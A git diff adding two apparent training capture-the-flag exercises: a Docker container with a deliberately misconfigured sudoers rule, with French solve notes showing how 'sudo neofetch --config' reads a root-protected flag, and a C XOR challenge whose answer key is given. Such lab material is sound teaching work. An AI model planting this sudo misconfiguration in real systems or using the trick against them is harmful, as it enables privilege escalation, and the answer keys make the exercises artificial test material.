diff --git a/privesc/Dockerfile b/privesc/Dockerfile new file mode 100644 index 0000000..30e3be0 --- /dev/null +++ b/privesc/Dockerfile @@ -0,0 +1,19 @@ +FROM ubuntu:20.04 + +RUN apt-get update && apt-get install -y \ + neofetch \ + sudo \ + && rm -rf /var/lib/apt/lists/* + +RUN useradd -m -s /bin/bash student +RUN echo "student:password123" | chpasswd + +RUN echo "EPITHACK{sudo_misconfiguration_pwned!}" > /home/student/flag.txt +RUN chmod 600 /home/student/flag.txt + +RUN echo "student ALL=(root) NOPASSWD: /usr/bin/neofetch" >> /etc/sudoers + +USER student +WORKDIR /home/student + +CMD ["/bin/bash"] diff --git a/privesc/solve b/privesc/solve new file mode 100644 index 0000000..52f080a --- /dev/null +++ b/privesc/solve @@ -0,0 +1,8 @@ +Neofetch peut etre run en sudo. Ca peut sembler completement con mais en fait on peut demander a neofetch de charger un fichier de config, ce qui va le lire et donner le flag... + +Procede classique et naif: +- cat flag.txt # fail +- sudo -l # On voit qu'on peut run neofetch en admin +- sudo neofetch --config flag.txt # magie + +Bien parler des faiblesses de config, des detournements de commandes, des soucis d'admin linux.. Le flag est juste un pretexte pour parler des enjeux, l'exo est debile. diff --git a/reverse/simple_xor.c b/reverse/simple_xor.c new file mode 100644 index 0000000..70b4728 --- /dev/null +++ b/reverse/simple_xor.c @@ -0,0 +1,29 @@ +#include +#include + +unsigned char encrypted[] = { + 0x07, 0x12, 0x0b, 0x16, 0x0a, 0x03, 0x01, 0x09, 0x39, 0x3a, 0x72, + 0x30, 0x1d, 0x2b, 0x11, 0x1d, 0x24, 0x17, 0x2c, 0x3f +}; + +int main() { + unsigned char key; + unsigned char decrypted[21] = { 0 }; + + printf("Crypted text: \n"); + for(int i = 0; i < 20; i++) { + printf("0x%02X", encrypted[i]); + } + puts(""); + printf("XOR HEX KEY: "); + + scanf("%hhx", &key); + + for(int i = 0; i < 20; i++) { + decrypted[i] = encrypted[i] ^ key; + } + + printf("Result: %s", decrypted); + + return 0; +} diff --git a/reverse/solve b/reverse/solve new file mode 100644 index 0000000..b027a5d --- /dev/null +++ b/reverse/solve @@ -0,0 +1 @@ +Key is 42 (obviously)